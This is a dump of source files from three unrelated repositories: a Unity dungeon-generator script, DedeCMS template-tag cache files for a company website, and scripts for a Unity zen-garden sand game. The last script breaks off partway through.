if(!rooms.Contains(CellGridScript.CellArray[x,y-1].roomId)){
Instantiate(DOWN_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y-1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x+1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x+1,y].roomId)){
Instantiate(RIGHT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x+1,y].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.y==1 && CellGridScript.CellArray[x,y].wallSide.w==1){
Instantiate(DOWN_LEFT,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y-1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y-1].roomId)){
Instantiate(DOWN_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y-1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x-1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x-1,y].roomId)){
Instantiate(LEFT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x-1,y].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.x==1 && CellGridScript.CellArray[x,y].wallSide.y==1){
Instantiate(UP_DOWN,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y+1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y+1].roomId)){
Instantiate(UP_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y+1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y-1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y-1].roomId)){
Instantiate(DOWN_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y-1].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.z==1 && CellGridScript.CellArray[x,y].wallSide.w==1){
Instantiate(LEFT_RIGHT,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x+1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x+1,y].roomId)){
Instantiate(RIGHT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x+1,y].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x-1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x-1,y].roomId)){
Instantiate(LEFT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x-1,y].roomId);
}
}
}
break;
case 3:
if(CellGridScript.CellArray[x,y].wallSide.x==1 && CellGridScript.CellArray[x,y].wallSide.z==1 && CellGridScript.CellArray[x,y].wallSide.w==1){
Instantiate(UP_LEFT_RIGHT,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y+1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y+1].roomId)){
Instantiate(UP_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y+1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x+1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x+1,y].roomId)){
Instantiate(RIGHT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x+1,y].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x-1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x-1,y].roomId)){
Instantiate(LEFT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x-1,y].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.x==1 && CellGridScript.CellArray[x,y].wallSide.z==1 && CellGridScript.CellArray[x,y].wallSide.y==1){
Instantiate(UP_RIGHT_DOWN,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y+1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y+1].roomId)){
Instantiate(UP_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y+1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y-1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y-1].roomId)){
Instantiate(DOWN_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y-1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x+1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x+1,y].roomId)){
Instantiate(RIGHT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x+1,y].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.x==1 && CellGridScript.CellArray[x,y].wallSide.w==1 && CellGridScript.CellArray[x,y].wallSide.y==1){
Instantiate(UP_LEFT_DOWN,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y+1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y+1].roomId)){
Instantiate(UP_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y+1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y-1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y-1].roomId)){
Instantiate(DOWN_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y-1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x-1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x-1,y].roomId)){
Instantiate(LEFT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x-1,y].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.y==1 && CellGridScript.CellArray[x,y].wallSide.w==1 && CellGridScript.CellArray[x,y].wallSide.z==1){
Instantiate(DOWN_LEFT_RIGHT,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y-1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y-1].roomId)){
Instantiate(DOWN_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y-1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x+1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x+1,y].roomId)){
Instantiate(RIGHT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x+1,y].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x-1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x-1,y].roomId)){
Instantiate(LEFT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x-1,y].roomId);
}
}
}
break;
case 4:
Instantiate(ALL,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
break;
}
}
}
}
Camera.main.transform.position=new Vector3(((minx+maxx)*3)/2,Camera.main.transform.position.y,(((miny+maxy)*3)/2)-10);
}
int sumOfWall(Vector4 v){
return (int)v.x+(int)v.y+(int)v.z+(int)v.w;
}
}
<file_sep>/Assets/Scripts/Method/FloorClass.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Floor
{
public int floorId;
public static int idGenerator=0;
public List<int> rooms;
public List<int> CrossFloorRooms;
public CellGridScript.cell[,] FinishedFloorCellArray;
public Floor(List<int> frooms){
floorId=idGenerator++;
rooms=frooms;
}
}
|
874b4ab8eaf2f49a89830aac2c8894be5c9fb020
|
[
"Markdown",
"C#"
] | 16
|
C#
|
korkonar/DungeonGenerator
|
1c8a478a9a6f3cb3d286818eedd1179b3521feb4
|
935816881b2deb8a81e6dd201e143ee7be4bafcd
|
refs/heads/master
|
<file_sep><?php
$z[0]=Array("typelink","",52,69);
$z[0][4]=array();
$z[1]=Array("typename","",117,134);
$z[1][4]=array();
$z[2]=Array("typename","",136,153);
$z[2][4]=array();
?><file_sep><?php
$z[0]=Array("field","",306,328);
$z[0][4]=array();
$z[0][4]['name']="keywords";
$z[1]=Array("field","",368,420);
$z[1][4]=array();
$z[1][4]['name']="description";
$z[1][4]['function']="html2text(@me)";
$z[2]=Array("global","",665,697);
$z[2][4]=array();
$z[2][4]['name']="cfg_templets_skin";
$z[3]=Array("global","",762,794);
$z[3][4]=array();
$z[3][4]['name']="cfg_templets_skin";
$z[4]=Array("global","",861,893);
$z[4][4]=array();
$z[4][4]['name']="cfg_templets_skin";
$z[5]=Array("global","",963,995);
$z[5][4]=array();
$z[5][4]['name']="cfg_templets_skin";
$z[6]=Array("global","",1172,1204);
$z[6][4]=array();
$z[6][4]['name']="cfg_templets_skin";
$z[7]=Array("global","",1293,1325);
$z[7][4]=array();
$z[7][4]['name']="cfg_templets_skin";
$z[8]=Array("field","",1365,1384);
$z[8][4]=array();
$z[8][4]['name']="title";
$z[9]=Array("global","",1385,1411);
$z[9][4]=array();
$z[9][4]['name']="cfg_webname";
$z[10]=Array("include","",1514,1558);
$z[10][4]=array();
$z[10][4]['filename']="head_nobanner.htm";
$z[11]=Array("field","",1712,1731);
$z[11][4]=array();
$z[11][4]['name']="title";
$z[12]=Array("field","",1767,1823);
$z[12][4]=array();
$z[12][4]['name']="pubdate";
$z[12][4]['function']="MyDate('Y-m-d H:i',@me)";
$z[13]=Array("field","",1892,1910);
$z[13][4]=array();
$z[13][4]['name']="body";
$z[14]=Array("include","",1968,2005);
$z[14][4]=array();
$z[14][4]['filename']="footer.htm";
?><file_sep><?php
$z[0]=Array("global","",75,102);
$z[0][4]=array();
$z[0][4]['name']="cfg_basehost";
$z[1]=Array("global","",132,164);
$z[1][4]=array();
$z[1][4]['name']="cfg_templets_skin";
$z[2]=Array("global","",280,307);
$z[2][4]=array();
$z[2][4]['name']="cfg_basehost";
$z[3]=Array("channel","\r\n\r\n <li class=\"navitem\">\r\n <a class=\"nav-a \" href=\"[field:typelink/]\" target=\"_self\">\r\n <span data-title=\"[field:typename/]\">[field:typename/]</span>\r\n </a>\r\n </li>\r\n\r\n ",395,677);
$z[3][4]=array();
$z[3][4]['row']="7";
$z[3][4]['type']="top";
$z[3][4]['typeid']="1,2,3,10,11,12,4";
$z[4]=Array("type","\r\n <div style=\"background-image:url(/templets/tpl/images/banner[field:id/].jpg);\"></div>\r\n ",952,1076);
$z[4][4]=array();
?><file_sep><?php
$z[0]=Array("arcurl","",140,155);
$z[0][4]=array();
$z[1]=Array("pubdate","",304,347);
$z[1][4]=array();
$z[1][4]['function']="MyDate('y',@me)";
$z[2]=Array("pubdate","",387,432);
$z[2][4]=array();
$z[2][4]['function']="MyDate('m-d',@me)";
$z[3]=Array("title","",484,498);
$z[3][4]=array();
$z[4]=Array("shorttitle","",551,570);
$z[4][4]=array();
$z[5]=Array("description","",674,724);
$z[5][4]=array();
$z[5][4]['function']="cn_substr(@me,140)";
$z[6]=Array("picname","",854,870);
$z[6][4]=array();
?><file_sep><?php
$z[0]=Array("field","",306,335);
$z[0][4]=array();
$z[0][4]['name']="keywords";
$z[1]=Array("field","",375,434);
$z[1][4]=array();
$z[1][4]['name']="description";
$z[1][4]['function']="html2text(@me)";
$z[2]=Array("global","",679,711);
$z[2][4]=array();
$z[2][4]['name']="cfg_templets_skin";
$z[3]=Array("global","",776,808);
$z[3][4]=array();
$z[3][4]['name']="cfg_templets_skin";
$z[4]=Array("global","",875,907);
$z[4][4]=array();
$z[4][4]['name']="cfg_templets_skin";
$z[5]=Array("global","",964,996);
$z[5][4]=array();
$z[5][4]['name']="cfg_templets_skin";
$z[6]=Array("global","",1173,1205);
$z[6][4]=array();
$z[6][4]['name']="cfg_templets_skin";
$z[7]=Array("global","",1294,1326);
$z[7][4]=array();
$z[7][4]['name']="cfg_templets_skin";
$z[8]=Array("field","",1366,1385);
$z[8][4]=array();
$z[8][4]['name']="title";
$z[9]=Array("global","",1386,1412);
$z[9][4]=array();
$z[9][4]['name']="cfg_webname";
$z[10]=Array("include","",1492,1527);
$z[10][4]=array();
$z[10][4]['filename']="head.htm";
$z[11]=Array("field","",1608,1631);
$z[11][4]=array();
$z[11][4]['name']="typename";
$z[12]=Array("field","",1756,1777);
$z[12][4]=array();
$z[12][4]['name']="content";
$z[13]=Array("include","",1805,1842);
$z[13][4]=array();
$z[13][4]['filename']="footer.htm";
?><file_sep><?php
global $cfg_Cs;
$cfg_Cs=array();
$cfg_Cs[1]=array(0,1,1,'5YWz5LqO5oiR5Lus');
$cfg_Cs[2]=array(0,1,1,'5Lqn5ZOB5Lit5b+D');
$cfg_Cs[3]=array(0,1,1,'5aqS5L2T6KeC54K5');
$cfg_Cs[4]=array(0,1,1,'6IGU57O75oiR5Lus');
$cfg_Cs[8]=array(3,1,1,'6ZuG5Zui5paw6Ze7');
$cfg_Cs[9]=array(3,1,1,'5Lia5YaF5paw6Ze7');
$cfg_Cs[10]=array(0,1,1,'6L+e6ZSB5Yqg55uf');
$cfg_Cs[11]=array(0,1,1,'5LyY6LSo5pyN5Yqh');
$cfg_Cs[12]=array(0,1,1,'546v5L+d5L+h5oGv5YWs5byA');
$cfg_Cs[13]=array(11,1,1,'5ZSu5ZCO5pyN5Yqh');
$cfg_Cs[14]=array(11,1,1,'5Lqn5ZOB6K6i6LSt');
$cfg_Cs[15]=array(12,1,1,'5bqf5rCU');
$cfg_Cs[16]=array(12,1,1,'5rGh5rC0');
$cfg_Cs[32]=array(2,1,1,'6YeR5pCP6aG/5ram5ruR5rK5');
$cfg_Cs[31]=array(2,1,1,'5bq36ICQ55Cq5Y+Y6YCf566x5rK5');
$cfg_Cs[25]=array(2,1,1,'5bq36ICQ55Cq5rG95py65rK5');
$cfg_Cs[26]=array(2,1,1,'5bq36ICQ55Cq5p+05py65rK5');
$cfg_Cs[27]=array(2,1,1,'5bq36ICQ55Cq6Ziy5Ya75ray');
$cfg_Cs[28]=array(2,1,1,'5bq36ICQ55Cq5ray5Y6L5rK5');
$cfg_Cs[29]=array(2,1,1,'5bq36ICQ55Cq6b2/6L2u5rK5');
$cfg_Cs[30]=array(2,1,1,'5bq36ICQ55Cq5ram5ruR6ISC');
$cfg_Cs[34]=array(2,1,1,'5Lqn5ZOB5LyY5Yq/');
$cfg_Cs[35]=array(2,1,1,'5piT54m56Lev5ram5ruR5rK5');
?><file_sep><?php
$z[0]=Array("tag","",44,57);
$z[0][4]=array();
?><file_sep><?php
$z[0]=Array("id","",61,72);
$z[0][4]=array();
?><file_sep><?php
$z[0]=Array("arcurl","",77,92);
$z[0][4]=array();
$z[1]=Array("picname","",276,292);
$z[1][4]=array();
$z[2]=Array("title","",327,341);
$z[2][4]=array();
$z[3]=Array("title","",505,519);
$z[3][4]=array();
$z[4]=Array("shorttitle","",572,591);
$z[4][4]=array();
$z[5]=Array("description","",685,735);
$z[5][4]=array();
$z[5][4]['function']="cn_substr(@me,100)";
?><file_sep><?php
$z[0]=Array("arcurl","",52,67);
$z[0][4]=array();
$z[1]=Array("picname","",163,179);
$z[1][4]=array();
$z[2]=Array("title","",324,338);
$z[2][4]=array();
$z[3]=Array("shorttitle","",386,405);
$z[3][4]=array();
?><file_sep><?php
$z[0]=Array("typelink","",62,79);
$z[0][4]=array();
$z[1]=Array("typename","",128,145);
$z[1][4]=array();
$z[2]=Array("typename","",147,164);
$z[2][4]=array();
?><file_sep><?php
$z[0]=Array("field","",308,337);
$z[0][4]=array();
$z[0][4]['name']="keywords";
$z[1]=Array("field","",377,436);
$z[1][4]=array();
$z[1][4]['name']="description";
$z[1][4]['function']="html2text(@me)";
$z[2]=Array("global","",681,713);
$z[2][4]=array();
$z[2][4]['name']="cfg_templets_skin";
$z[3]=Array("global","",778,810);
$z[3][4]=array();
$z[3][4]['name']="cfg_templets_skin";
$z[4]=Array("global","",877,909);
$z[4][4]=array();
$z[4][4]['name']="cfg_templets_skin";
$z[5]=Array("global","",979,1011);
$z[5][4]=array();
$z[5][4]['name']="cfg_templets_skin";
$z[6]=Array("global","",1188,1220);
$z[6][4]=array();
$z[6][4]['name']="cfg_templets_skin";
$z[7]=Array("global","",1309,1341);
$z[7][4]=array();
$z[7][4]['name']="cfg_templets_skin";
$z[8]=Array("field","",1381,1400);
$z[8][4]=array();
$z[8][4]['name']="title";
$z[9]=Array("global","",1401,1427);
$z[9][4]=array();
$z[9][4]['name']="cfg_webname";
$z[10]=Array("include","",1525,1560);
$z[10][4]=array();
$z[10][4]['filename']="head.htm";
$z[11]=Array("field","",1652,1675);
$z[11][4]=array();
$z[11][4]['name']="typename";
$z[12]=Array("global","",1789,1816);
$z[12][4]=array();
$z[12][4]['name']="cfg_basehost";
$z[13]=Array("channel","\r\n\r\n <li><a href=\"[field:typelink/]\">[field:typename/]</a></li>\r\n\r\n ",1854,1982);
$z[13][4]=array();
$z[13][4]['row']="10";
$z[13][4]['type']="son";
$z[14]=Array("include","",6493,6530);
$z[14][4]=array();
$z[14][4]['filename']="footer.htm";
?><file_sep><?php
$z[0]=Array("typelink","",22,39);
$z[0][4]=array();
$z[1]=Array("typename","",48,65);
$z[1][4]=array();
$z[2]=Array("typename","",67,84);
$z[2][4]=array();
?><file_sep><?php
$z[0]=Array("arcurl","",131,146);
$z[0][4]=array();
$z[1]=Array("pubdate","",302,345);
$z[1][4]=array();
$z[1][4]['function']="MyDate('y',@me)";
$z[2]=Array("pubdate","",385,430);
$z[2][4]=array();
$z[2][4]['function']="MyDate('m-d',@me)";
$z[3]=Array("title","",512,526);
$z[3][4]=array();
$z[4]=Array("description","",639,689);
$z[4][4]=array();
$z[4][4]['function']="cn_substr(@me,140)";
$z[5]=Array("picname","",841,857);
$z[5][4]=array();
$z[6]=Array("arcurl","",938,953);
$z[6][4]=array();
?><file_sep><?php
$z[0]=Array("tag","",28,41);
$z[0][4]=array();
?><file_sep><?php
$z[0]=Array("arcurl","",33,48);
$z[0][4]=array();
$z[1]=Array("picname","",144,160);
$z[1][4]=array();
$z[2]=Array("title","",332,346);
$z[2][4]=array();
$z[3]=Array("shorttitle","",394,413);
$z[3][4]=array();
$z[4]=Array("description","",497,547);
$z[4][4]=array();
$z[4][4]['function']="cn_substr(@me,140)";
?><file_sep><?php
$z[0]=Array("field","",306,328);
$z[0][4]=array();
$z[0][4]['name']="keywords";
$z[1]=Array("field","",368,420);
$z[1][4]=array();
$z[1][4]['name']="description";
$z[1][4]['function']="html2text(@me)";
$z[2]=Array("global","",665,697);
$z[2][4]=array();
$z[2][4]['name']="cfg_templets_skin";
$z[3]=Array("global","",762,794);
$z[3][4]=array();
$z[3][4]['name']="cfg_templets_skin";
$z[4]=Array("global","",861,893);
$z[4][4]=array();
$z[4][4]['name']="cfg_templets_skin";
$z[5]=Array("global","",963,995);
$z[5][4]=array();
$z[5][4]['name']="cfg_templets_skin";
$z[6]=Array("global","",1172,1204);
$z[6][4]=array();
$z[6][4]['name']="cfg_templets_skin";
$z[7]=Array("global","",1293,1325);
$z[7][4]=array();
$z[7][4]['name']="cfg_templets_skin";
$z[8]=Array("field","",1365,1384);
$z[8][4]=array();
$z[8][4]['name']="title";
$z[9]=Array("global","",1385,1411);
$z[9][4]=array();
$z[9][4]['name']="cfg_webname";
$z[10]=Array("include","",1517,1561);
$z[10][4]=array();
$z[10][4]['filename']="head_nobanner.htm";
$z[11]=Array("field","",2109,2127);
$z[11][4]=array();
$z[11][4]['name']="body";
$z[12]=Array("field","",2306,2325);
$z[12][4]=array();
$z[12][4]['name']="title";
$z[13]=Array("field","",2367,2391);
$z[13][4]=array();
$z[13][4]['name']="shorttitle";
$z[14]=Array("field","",2458,2484);
$z[14][4]=array();
$z[14][4]['name']="description";
$z[15]=Array("tag","\r\n <a href=\"#\">[field:tag /]</a>\r\n ",2697,2809);
$z[15][4]=array();
$z[15][4]['row']="5";
$z[15][4]['sort']="new";
$z[15][4]['getall']="0";
$z[16]=Array("likearticle","\r\n <div class=\"projectitem\">\r\n <a href=\"[field:arcurl/]\" target=\"_blank\">\r\n <span class=\"propost_img\">\r\n <img src=\"[field:picname/]\" />\r\n </span>\r\n <div class=\"project_info\">\r\n <div>\r\n <p class=\"title\">[field:title/]</p>\r\n <p class=\"subtitle\">[field:shorttitle/]</p>\r\n </div>\r\n </div>\r\n </a>\r\n </div>\r\n ",2883,3495);
$z[16][4]=array();
$z[16][4]['mytypeid']="2";
$z[16][4]['titlelen']="140";
$z[16][4]['row']="8";
$z[17]=Array("include","",3634,3671);
$z[17][4]=array();
$z[17][4]['filename']="footer.htm";
?><file_sep><?php
$z[0]=Array("typelink","",68,85);
$z[0][4]=array();
$z[1]=Array("typename","",134,151);
$z[1][4]=array();
$z[2]=Array("typename","",153,170);
$z[2][4]=array();
?><file_sep># dedecms-demo
织梦cms内容管理系统 demo
|
4cbd8d75821be604727e477728ad962c619aa844
|
[
"Markdown",
"PHP"
] | 19
|
PHP
|
cy920820/dedecms-demo
|
3a718740022643cbae51443c21f94b93384626ba
|
ac64448a0db330b1e6ad1af48f85a2af6bb61cbf
|
refs/heads/master
|
<repo_name>DennisMac/WGJ16<file_sep>/Assets/FadeOut.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class FadeOut : MonoBehaviour {
Image image;
Text text;
// Use this for initialization
void Start ()
{
image = GetComponent<Image>();
text = GetComponentInChildren<Text>();
}
// Update is called once per frame
void Update ()
{
image.color = new Color(image.color.r, image.color.g, image.color.b, image.color.a - Time.deltaTime/10f);
text.color = new Color(text.color.r, text.color.g, text.color.b, text.color.a - Time.deltaTime/10f);
}
}
<file_sep>/Assets/Scripts/ZoomOnMouseWheel.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ZoomOnMouseWheel : MonoBehaviour {
// Use this for initialization
// Update is called once per frame
void Update ()
{
//if (Input.GetKey(KeyCode.LeftShift))
{
float dZ = 10 * Input.GetAxis("Mouse ScrollWheel");
this.transform.localPosition += new Vector3(0, 0, dZ);
}
}
}
<file_sep>/Assets/Scripts/SoundManager.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class SoundManager : MonoBehaviour
{
public AudioClip[] lineClips;
public AudioClip[] circleClips;
public AudioClip[] flattenClips;
public AudioClip[] rockClips;
public AudioClip curveClip;
AudioSource audioSource;
public static SoundManager Instance;
public static bool StopFading = false;
void Start()
{
Instance = this;
audioSource = GetComponent<AudioSource>();
}
public void PlayLineClip()
{
float delay = 0f; //float delay = ((int)(Time.timeSinceLevelLoad * 10000f) % 250f) / 1000f;
StopFading = true;
Invoke("PlayLine", delay);
}
private void PlayLine()
{
audioSource.PlayOneShot(lineClips[(int)UnityEngine.Random.Range(0, lineClips.Length)]);
}
public void PlayRockClip()
{
float delay = 0f; //float delay = ((int)(Time.timeSinceLevelLoad * 10000f) % 250f) / 1000f;
StopFading = true;
Invoke("PlayRock", delay);
}
private void PlayRock()
{
audioSource.PlayOneShot(rockClips[(int)UnityEngine.Random.Range(0, rockClips.Length)]);
}
public void PlayFlattenClip()
{
float delay = 0f; //float delay = ((int)(Time.timeSinceLevelLoad * 10000f) % 250f) / 1000f;
StopFading = true;
Invoke("PlayFlatten", delay);
}
private void PlayFlatten()
{
audioSource.PlayOneShot(flattenClips[(int)UnityEngine.Random.Range(0, flattenClips.Length)]);
}
public void PlayCircleClip()
{
float delay = 0f; //float delay = ((int)(Time.timeSinceLevelLoad * 10000f) % 250f) / 1000f;
StopFading = true;
Invoke("PlayCircle", delay);
}
private void PlayCircle()
{
audioSource.PlayOneShot(circleClips[(int)UnityEngine.Random.Range(0, circleClips.Length)]);
}
public void PlayCurveClip()
{
float delay = 0f; //float delay = ((int)(Time.timeSinceLevelLoad * 10000f) % 250f) / 1000f;
StopFading = true;
Invoke("PlayCurve", delay);
}
private void PlayCurve()
{
audioSource.PlayOneShot(curveClip);
}
internal void StopPlaying()
{
StartCoroutine(FadeOut());
}
public IEnumerator FadeOut(float FadeTime = 0.75f)
{
StopFading = false;
float startVolume = audioSource.volume;
while (audioSource.volume > 0 && StopFading == false)
{
audioSource.volume -= startVolume * Time.deltaTime / FadeTime;
yield return null;
}
audioSource.Stop();
audioSource.volume = startVolume;
}
}
<file_sep>/Assets/Scripts/Manager.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class Manager : MonoBehaviour
{
public enum CamaraShooting { fps, spotLight};
public GameObject fpsCam;
public GameObject spotLightCam;
public CamaraShooting cameraShooting = CamaraShooting.spotLight;
public Toggle[] toggles;
public void TurnOnSpotLight()
{
cameraShooting = CamaraShooting.spotLight;
SwitchCamera();
}
public void TurnOnFPS()
{
cameraShooting = CamaraShooting.fps;
SwitchCamera();
}
private void SwitchCamera()
{
fpsCam.SetActive(false);
spotLightCam.SetActive(false);
switch (cameraShooting)
{
case CamaraShooting.fps:
fpsCam.SetActive(true);
break;
case CamaraShooting.spotLight:
spotLightCam.SetActive(true);
break;
}
}
public void ClearSandBox()
{
ExampleClass.Instance.ResetHeights();
}
public void Rake()
{
ExampleClass.Instance.actionMode = ExampleClass.ActionMode.rake;
}
public void Circles()
{
ExampleClass.Instance.actionMode = ExampleClass.ActionMode.cirle;
}
public void Curves()
{
ExampleClass.Instance.actionMode = ExampleClass.ActionMode.curve;
}
public void Flatten()
{
ExampleClass.Instance.actionMode = ExampleClass.ActionMode.flatten;
}
public void SetAdditive(bool value)
{
ExampleClass.Instance.SetAdditive(value);
}
}
<file_sep>/Assets/Scripts/ExampleClass.cs
using UnityEngine;
using System.Collections;
using Boo.Lang;
using System;
public class ExampleClass : MonoBehaviour
{
public bool additive = false;
public enum ActionMode
{
rake, cirle, curve, draggingRock,
flatten
}
public ActionMode actionMode = ActionMode.rake;
Mesh mesh;
float meshScale = 0.1f;
const int w = 160;
const int h = 160;
MeshFilter mf;
float[] heights = new float[w * h];
public static ExampleClass Instance;
// Use this for initialization
float heightScale = 0.5f;
GameObject rockBeingDragged;
public void ResetHeights()
{
for (int i = 0; i < heights.Length; i++)
{
heights[i] = 0f;
}
}
void Start()
{
Instance = this;
mf = GetComponent<MeshFilter>();
mesh = mf.mesh;
List<Vector2> uvs = new List<Vector2>();
List<Vector3> vertices = new List<Vector3>();
for (int i = 0; i < h; i++)
{
for (int j = 0; j < w; j++)
{
//heights[j * w + i] = Random.Range(0f,1f);
vertices.Add(meshScale * new Vector3((float)i, heights[j * w + i], (float)j));
float x = (float)i / (float)w;
float y = (float)j / (float)h;
uvs.Add(new Vector2(x, y));
}
}
List<int> triangles = new List<int>();
for (int i = 0; i < h - 1; i++)
{
for (int j = 0; j < w - 1; j++)
{
triangles.Add(j * w + i);
triangles.Add(j * w + i + 1);
triangles.Add((j + 1) * w + i);
triangles.Add((j + 1) * w + i + 1);
triangles.Add((j + 1) * w + i);
triangles.Add(j * w + i + 1);
}
}
mesh.Clear();
mesh.vertices = vertices.ToArray();
mesh.triangles = triangles.ToArray();
mesh.uv = uvs.ToArray();
mesh.RecalculateNormals();
}
Vector3 downPoint = new Vector3();
Vector3 upPoint = new Vector3();
private bool free = true; //done forming sand
bool hitSand = false;
void Update()
{
switch (actionMode)
{
case ActionMode.draggingRock:
DragRock();
break;
case ActionMode.rake:
Rake();
break;
case ActionMode.curve:
Curve();
break;
case ActionMode.flatten:
Flatten();
break;
case ActionMode.cirle:
Circle();
break;
}
}
private void Circle()
{
if (Input.GetMouseButtonDown(0))
{
RaycastHit hitInfo = new RaycastHit();
bool hit = Physics.Raycast(Camera.main.ScreenPointToRay(Input.mousePosition), out hitInfo);
if (hit)
{
if (hitInfo.collider.tag == "sand")
{
int x = (int)(hitInfo.point.x / meshScale);
int z = (int)(hitInfo.point.z / meshScale);
downPoint.x = x;
downPoint.z = z;
}
else if (hitInfo.collider.tag == "rock")
{
previousActionMode = actionMode;
actionMode = ActionMode.draggingRock;
rockBeingDragged = hitInfo.collider.gameObject;
rockBeingDragged.GetComponent<MeshCollider>().enabled = false;
}
}
}
else if (Input.GetMouseButtonUp(0))
{
RaycastHit hitInfo = new RaycastHit();
bool hit = Physics.Raycast(Camera.main.ScreenPointToRay(Input.mousePosition), out hitInfo);
if (hit)
{
if (hitInfo.collider.tag == "sand")
{
int x = (int)(hitInfo.point.x / meshScale);
int z = (int)(hitInfo.point.z / meshScale);
upPoint.x = x;
upPoint.z = z;
StartCoroutine("MakeCircle", 0f);
SoundManager.Instance.PlayCircleClip();
}
}
}
}
private void Curve()
{
